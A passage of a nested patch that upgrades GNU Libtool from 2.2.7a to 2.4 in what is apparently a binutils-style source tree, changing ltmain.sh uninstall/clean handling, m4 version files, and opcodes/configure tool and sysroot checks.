- if test "X$dir" = X.; then
-- objdir="$origobjdir"
-+ odir="$objdir"
- else
-- objdir="$dir/$origobjdir"
-+ odir="$dir/$objdir"
- fi
- func_basename "$file"
- name="$func_basename_result"
-- test "$mode" = uninstall && objdir="$dir"
-+ test "$opt_mode" = uninstall && odir="$dir"
-
-- # Remember objdir for removal later, being careful to avoid duplicates
-- if test "$mode" = clean; then
-+ # Remember odir for removal later, being careful to avoid duplicates
-+ if test "$opt_mode" = clean; then
- case " $rmdirs " in
-- *" $objdir "*) ;;
-- *) rmdirs="$rmdirs $objdir" ;;
-+ *" $odir "*) ;;
-+ *) func_append rmdirs " $odir" ;;
- esac
- fi
-
-@@ -8486,18 +9499,17 @@ func_mode_uninstall ()
-
- # Delete the libtool libraries and symlinks.
- for n in $library_names; do
-- rmfiles="$rmfiles $objdir/$n"
-+ func_append rmfiles " $odir/$n"
- done
-- test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
-+ test -n "$old_library" && func_append rmfiles " $odir/$old_library"
-
-- case "$mode" in
-+ case "$opt_mode" in
- clean)
-- case " $library_names " in
-- # " " in the beginning catches empty $dlname
-+ case " $library_names " in
- *" $dlname "*) ;;
-- *) rmfiles="$rmfiles $objdir/$dlname" ;;
-+ *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;;
- esac
-- test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
-+ test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i"
- ;;
- uninstall)
- if test -n "$library_names"; then
-@@ -8525,19 +9537,19 @@ func_mode_uninstall ()
- # Add PIC object to the list of files to remove.
- if test -n "$pic_object" &&
- test "$pic_object" != none; then
-- rmfiles="$rmfiles $dir/$pic_object"
-+ func_append rmfiles " $dir/$pic_object"
- fi
-
- # Add non-PIC object to the list of files to remove.
- if test -n "$non_pic_object" &&
- test "$non_pic_object" != none; then
-- rmfiles="$rmfiles $dir/$non_pic_object"
-+ func_append rmfiles " $dir/$non_pic_object"
- fi
- fi
- ;;
-
- *)
-- if test "$mode" = clean ; then
-+ if test "$opt_mode" = clean ; then
- noexename=$name
- case $file in
- *.exe)
-@@ -8547,7 +9559,7 @@ func_mode_uninstall ()
- noexename=$func_stripname_result
- # $file with .exe has already been added to rmfiles,
- # add $file without .exe
-- rmfiles="$rmfiles $file"
-+ func_append rmfiles " $file"
- ;;
- esac
- # Do a test to see if this is a libtool program.
-@@ -8556,7 +9568,7 @@ func_mode_uninstall ()
- func_ltwrapper_scriptname "$file"
- relink_command=
- func_source $func_ltwrapper_scriptname_result
-- rmfiles="$rmfiles $func_ltwrapper_scriptname_result"
-+ func_append rmfiles " $func_ltwrapper_scriptname_result"
- else
- relink_command=
- func_source $dir/$noexename
-@@ -8564,12 +9576,12 @@ func_mode_uninstall ()
-
- # note $name still contains .exe if it was in $file originally
- # as does the version of $file that was added into $rmfiles
-- rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
-+ func_append rmfiles " $odir/$name $odir/${name}S.${objext}"
- if test "$fast_install" = yes && test -n "$relink_command"; then
-- rmfiles="$rmfiles $objdir/lt-$name"
-+ func_append rmfiles " $odir/lt-$name"
- fi
- if test "X$noexename" != "X$name" ; then
-- rmfiles="$rmfiles $objdir/lt-${noexename}.c"
-+ func_append rmfiles " $odir/lt-${noexename}.c"
- fi
- fi
- fi
-@@ -8577,7 +9589,6 @@ func_mode_uninstall ()
- esac
- func_show_eval "$RM $rmfiles" 'exit_status=1'
- done
-- objdir="$origobjdir"
-
- # Try to remove the ${objdir}s in the directories where we deleted files
- for dir in $rmdirs; do
-@@ -8589,16 +9600,16 @@ func_mode_uninstall ()
- exit $exit_status
- }
-
--{ test "$mode" = uninstall || test "$mode" = clean; } &&
-+{ test "$opt_mode" = uninstall || test "$opt_mode" = clean; } &&
- func_mode_uninstall ${1+"$@"}
-
--test -z "$mode" && {
-+test -z "$opt_mode" && {
- help="$generic_help"
- func_fatal_help "you must specify a MODE"
- }
-
- test -z "$exec_cmd" && \
-- func_fatal_help "invalid operation mode \`$mode'"
-+ func_fatal_help "invalid operation mode \`$opt_mode'"
-
- if test -n "$exec_cmd"; then
- eval exec "$exec_cmd"
-diff --git a/ltoptions.m4 b/ltoptions.m4
-index 5ef12ced2a8..17cfd51c0b3 100644
---- a/ltoptions.m4
-+++ b/ltoptions.m4
-@@ -8,7 +8,7 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# serial 6 ltoptions.m4
-+# serial 7 ltoptions.m4
-
- # This is to help aclocal find these macros, as it can't see m4_define.
- AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
-diff --git a/ltversion.m4 b/ltversion.m4
-index bf87f77132d..9c7b5d41185 100644
---- a/ltversion.m4
-+++ b/ltversion.m4
-@@ -7,17 +7,17 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# Generated from ltversion.in.
-+# @configure_input@
-
--# serial 3134 ltversion.m4
-+# serial 3293 ltversion.m4
- # This file is part of GNU Libtool
-
--m4_define([LT_PACKAGE_VERSION], [2.2.7a])
--m4_define([LT_PACKAGE_REVISION], [1.3134])
-+m4_define([LT_PACKAGE_VERSION], [2.4])
-+m4_define([LT_PACKAGE_REVISION], [1.3293])
-
- AC_DEFUN([LTVERSION_VERSION],
--[macro_version='2.2.7a'
--macro_revision='1.3134'
-+[macro_version='2.4'
-+macro_revision='1.3293'
- _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
- _LT_DECL(, macro_revision, 0)
- ])
-diff --git a/lt~obsolete.m4 b/lt~obsolete.m4
-index bf92b5e0790..c573da90c5c 100644
---- a/lt~obsolete.m4
-+++ b/lt~obsolete.m4
-@@ -7,7 +7,7 @@
- # unlimited permission to copy and/or distribute it, with or without
- # modifications, as long as this notice is preserved.
-
--# serial 4 lt~obsolete.m4
-+# serial 5 lt~obsolete.m4
-
- # These exist entirely to fool aclocal when bootstrapping libtool.
- #
-diff --git a/opcodes/configure b/opcodes/configure
-index 8d1e561c942..a0291dfbfa7 100755
---- a/opcodes/configure
-+++ b/opcodes/configure
-@@ -680,6 +680,9 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
-+ac_ct_AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -798,6 +801,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_targets
- enable_werror
-@@ -1462,6 +1466,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -5403,8 +5409,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5444,7 +5450,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6130,8 +6136,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6180,6 +6186,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6196,6 +6276,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6364,7 +6449,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6518,6 +6604,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6531,11 +6632,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6551,7 +6805,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6571,11 +6825,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6591,7 +6849,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6610,6 +6868,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6621,16 +6883,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -6972,8 +7290,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7009,6 +7327,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7050,6 +7369,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7061,7 +7392,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7087,8 +7418,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7098,8 +7429,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7136,6 +7467,16 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-
-
-
-@@ -7152,6 +7493,45 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7363,6 +7743,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
